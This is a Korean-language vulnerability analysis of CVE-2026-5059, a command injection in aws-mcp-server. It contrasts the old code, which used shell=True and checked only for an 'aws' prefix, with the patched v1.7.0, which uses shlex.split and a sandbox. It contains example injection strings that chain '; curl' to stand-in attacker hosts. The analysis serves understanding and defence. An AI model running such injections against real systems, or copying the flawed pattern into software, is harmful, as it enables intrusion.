
CVE-2026-5059에 대한 개념 증명으로, aws-mcp-server에서 shell=True와 불완전한 검증을 통한 명령 주입 취약점이며, 취약한 코드와 패치된 코드 분석을 포함합니다.
코드에서 CVE-2026-5059는 어디에 있는가? 취약점은 함께 동작하는 두 파일에 있습니다:
파일 1: tools.py — 근본 원인 구버전은 execute_piped_command()에서 shell=True를 사용했습니다: python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) shell=True일 때, OS 셸은 ;, &&, ||, 백틱을 포함한 전체 문자열을 해석합니다 — 따라서 ; 뒤에 오는 모든 것이 별도의 명령으로 실행됩니다.
파일 2: security.py — 불완전한 가드 검증기는 명령이 aws로 시작하는지만 확인했습니다: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe 따라서 aws s3 ls ; curl http://attacker.com는 검증을 통과했습니다 — aws로 시작하기 때문입니다 — 그런 다음 shell=True가 두 부분을 모두 실행했습니다.
현재 버전(v1.7.0)이 다른 이유 오늘날의 실제 코드를 보면 두 문제 모두 사라졌습니다: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation 그리고 security.py는 완전히 삭제되었습니다 — OS 샌드박스(Landlock/bwrap/Seatbelt)로 대체되었습니다. 이제 ;는 무해합니다: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs
한 줄 요약 취약한 버전현재 v1.7.0실행shell=True + 문자열shell=False + 리스트검증startswith("aws")만OS 수준 샌드박스; 처리셸에 의해 실행리터럴 텍스트로 취급 CVE는 구버전에 대해 제기되었습니다. ZDI는 벤더가 보고서를 거부했기 때문에 이를 0-day로 공개했습니다 — 그러나 아키텍처는 CVE가 공개되기 전에 이미 shell=True에서 벗어나 있었습니다.